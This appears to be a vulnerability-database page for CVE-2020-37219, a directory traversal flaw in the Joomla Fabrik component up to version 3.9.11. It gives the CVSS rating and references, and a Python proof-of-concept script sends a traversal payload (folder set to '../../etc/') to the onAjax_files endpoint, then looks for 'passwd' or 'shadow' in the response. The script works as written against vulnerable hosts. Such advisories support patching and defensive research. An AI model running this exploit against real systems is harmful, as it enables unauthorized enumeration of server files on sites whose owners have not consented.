CVE-2020-37219

Description

Joomla com_fabrik 3.9.11 contains a directory traversal vulnerability that allows unauthenticated attackers to list arbitrary files by manipulating the folder parameter. Attackers can send GET requests to the onAjax_files method with path traversal sequences to enumerate files in system directories outside the intended web root.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Joomla Fabrik <= 3.9.11

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def check_vulnerability(target_url):
    # Target endpoint for the vulnerable component
    url = f"{target_url}/index.php"
    
    # Payload parameters exploiting the directory traversal in 'folder' parameter
    params = {
        "option": "com_fabrik",
        "view": "list",
        "format": "json",
        "task": "plugin.ajax",
        "plugin": "fileupload",
        "method": "onAjax_files",
        "folder": "../../etc/"  # Directory traversal sequence to list /etc directory
    }
    
    try:
        response = requests.get(url, params=params, timeout=10)
        if response.status_code == 200:
            print("[+] Request sent successfully.")
            print("[+] Response content:")
            print(response.text)
            # Check if typical Linux directory listing patterns appear in response
            if "passwd" in response.text or "shadow" in response.text:
                print("[!] Potential directory listing leaked.")
        else:
            print(f"[-] Unexpected status code: {response.status_code}")
    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    target = "http://example.com" # Replace with actual target
    check_vulnerability(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2020-37219
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2020-37219
[3] CVE Details https://www.cvedetails.com/cve/CVE-2020-37219/
[4] VulDB https://vuldb.com/cve/CVE-2020-37219
[5] https://fabrikar.com/
[6] https://fabrikar.com/downloads
[7] https://www.exploit-db.com/exploits/48263
[8] https://www.vulncheck.com/advisories/joomla-com-fabrik-directory-traversal-via-image-php

Raw JSON Data

JSON

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